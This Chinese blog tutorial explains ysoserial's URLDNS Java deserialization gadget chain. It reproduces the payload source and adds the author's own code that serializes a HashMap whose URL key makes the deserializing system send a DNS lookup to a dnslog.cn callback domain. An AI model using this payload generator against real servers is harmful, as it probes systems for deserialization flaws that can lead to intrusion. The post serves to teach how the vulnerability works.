首页 > 其他分享 >ysoserial之URLDNS

ysoserial之URLDNS

时间:2024-12-25 10:41:42浏览次数:7  
标签:java HashMap URL ysoserial hashCode URLDNS import 序列化

URLDNS是https://github.com/frohoff/ysoserial的一个利用链,算是比较简单的一种,代码如下:

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); 
                URL u = new URL(null, url, handler); 
                ht.put(u, url); 

                Reflections.setFieldValue(u, "hashCode", -1); 

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

上面比较抽象,在这里,我自己写一些代码,来解释URLDNS:

条件

由于反序列化时,需要调用的是readObject()方法,而开发者经常自己会重写readObject()方法。

首先,要满足反序列化攻击,需要满足的几个条件:

  1. 共同条件:实现Serializable 接口,即:可以序列化的
  2. 入口类(source):重写readObject方法,而且最好在重写的readObject方法里面还调用一个常见的函数(hashCode函数,toString函数等),
  3. 参数类型宽泛,最好jdk自带的,比如Map接口,HashMap类,HashTable;

以HashMap为例

  1. 首先可以序列化,因为实现Serializable 接口

  1. 参数类型宽泛,因为HashMap接受的类型是Object
  2. 而且jdk自带
  3. 重写readObject方法

为什么HashMap类要重写readObject方法呢?因为HashMap需要保证键(key)的唯一性,所以需要计算键(key)的hashCode,如下图:发现调用了hash函数

继续跟上去,发现hash函数接受一个Object类型的key,如果不为空的话,就会调用key的hashCode()函数来计算hashCode()

即:HashMapreadObject()

HashMapputVal()

HashMaphash(key)

HashMaphashCode() : key.hashCode()

调用链(gadget chain)

一般是利用相同名称,相同类型

由上面条件可以知道,我们新建一个HashMap时,会计算key的hashCode值,即最终会调用key.hashCode(),而如果我们传入的key是一个java.net.URL对象呢?我们看看看URL类的hashCode方法:

上面发现首先自定义了一个hashCode变量,然后判断hashCode值,如果值不等于-1,那么直接返回hashCode值,否则再执行handler.hashCode()方法,接着跟下去:

发现handler的hashCode() 方法,会执行getHostAddress() 方法,接着跟着getHostAddress()走:

getByName()方法的作用是根据域名获取其ip,其实就是一次DNS查询。

即:

URL.hashCode

handler.hashCode()

getHostAddress()

getByName()

知道了整个逻辑,写如下代码

有几点要注意:

1,为什么要使用反射修改hashCode的值呢?

答:因为如果hashCode的值不等于-1,就不会执行hashCode()方法了,由于HashMap在put的时候,也会调用putVal(),hash()方法,所以我们需要在put之前就利用反射把hashCode的值改了,只要不为-1就不会再序列化时调用hashCode方法了,否则会在序列化阶段就执行hashCode()方法。在执行put方法之后,我们再利用反射把hashCode的值设为-1,让其调用hashCode方法,从而解析域名,发送一次DNS请求。

package io.ser2;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Serializable {

    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        System.out.println("序列化中===========");
        URL url = new URL("http://wo3i7l.dnslog.cn");
        //通过反射设置URL对象的hashCode值
        Class<?> clazz = Class.forName("java.net.URL");
        Field hashField = clazz.getDeclaredField("hashCode");
        hashField.setAccessible(true);
        //这里hashCode不能设置为-1,因为不是-1就不会调用hashCode()方法了。而在下面设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法
        hashField.set(url,123);
        //定义一个HashMap
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        //初始化一个URL对象,作为key放在hashmap的key中
        hashmap.put(url,1);
        //在这里设置hashCode为-1,是因为我们想让在反序列化的时候执行hashCode()方法
        hashField.set(url,-1);
        serialize(hashmap);
        System.out.println("序列化完毕==========");
    }

    private static void serialize(Object o) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(o);
        oos.close();
    }

}
package io.ser2;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class DeSerializable {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("反序列化中=========");
        deserialize();

    }

    public static Object deserialize() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));
        Object o = ois.readObject();
        ois.close();
        return o;
    }

}

此时看urldns源码

总结一下

URLDNS的利用链如下,这里直接引用p牛的,p牛牛p

标签:java,HashMap,URL,ysoserial,hashCode,URLDNS,import,序列化
From: https://www.cnblogs.com/yingzui/p/18629622

相关文章

  • Java反序列化(二)——URLDNS链、CC1链
    0背景白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频(bilibili.com)实验环境Java:1.8.0_65IDEA:2022commons-collecetions:3.2.11URLDNS链分析    URLDNS并不能RCE,只是用来发起dns请求,一般用做初步探测,看能不能反序列化和出网。先给出利用链:GadgetChai......
  • URLDNS反序列化利用
    这是java的原生利用链,通常用于反序列化的验证,因为是原生态不存在版本限制HashMap结合URL触发的DNS检查思路利用链HashMap-->readObject()HashMap-->hash()URL-->hashcode()URL-->getByName()进行域名解析的函数利用分析首先新建一个DnsTester类,new一个Hash......
  • URLDNS链分析
    一、概述URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:不限制jdk版本,使用Java内置类,对第三方依赖没有要求目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞URLDNS利用链,只能发起DNS请求,并不能进行其他利用二、流程......
  • Java反序列化之URLDNS链
    Java反序列化之URLDNS链一、漏洞简介URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。该链有以下三个特点:不限制jdk版本,使用Java内置类,对第三方依赖没有要求目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞URLD......
  • URLDNS的反序列化调试分析
    Java反序列化(0):URLDNS的反序列化调试分析URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。一.Java反序列化前置知识Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject......
  • ysoserial中的URLDNS利用链代码审计
    ysoserial中的URLDNS利用链代码审计一.避坑我使用了jdk1.8的版本,因为在使用jdk1.7版本的时候出现了如下报错java:程序包sun.rmi.server不存在之后问chatgpt之后我发现不知为什么我的jdk1.7里面没有rt.jar,所以我换成了jdk1.8二.环境搭建1.下载源码https://github.com......
  • Json.NET反序列化漏洞生成Ysoserial攻击Payload
    Ysoserial.Net只提供序列化之后的Payload主体,具体执行的命令从外部输入,实现代码清单如下Stringpayload=@"{    '$type':'System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35',  ......
  • Java反序列化:URLDNS的反序列化调试分析
    URLDNS链子是Java反序列化分析的第0课,网上也有很多优质的分析文章。笔者作为Java安全初学者,也从0到1调试了一遍,现在给出调试笔记。一.Java反序列化前置知识Java原生链序列化:利用Java.io.ObjectInputStream对象输出流的writerObject方法实现Serializable接口,将对象转化成字节......
  • JAVA反序列化-URLDNS分析
    目录0x01URLDNS0x02利用链分析本文基于P大的《java安全漫谈》环境jdk1.7urldns是学习JAVA反序列化的入门利用链0x01URLDNSURLDNS就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结......
  • javasec(五)URLDNS反序列化分析
    这篇文章介绍URLDNS就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。ysoserial打包成jar命令mvncleanpackage-DskipTests,刚刚入门所以用这条链作......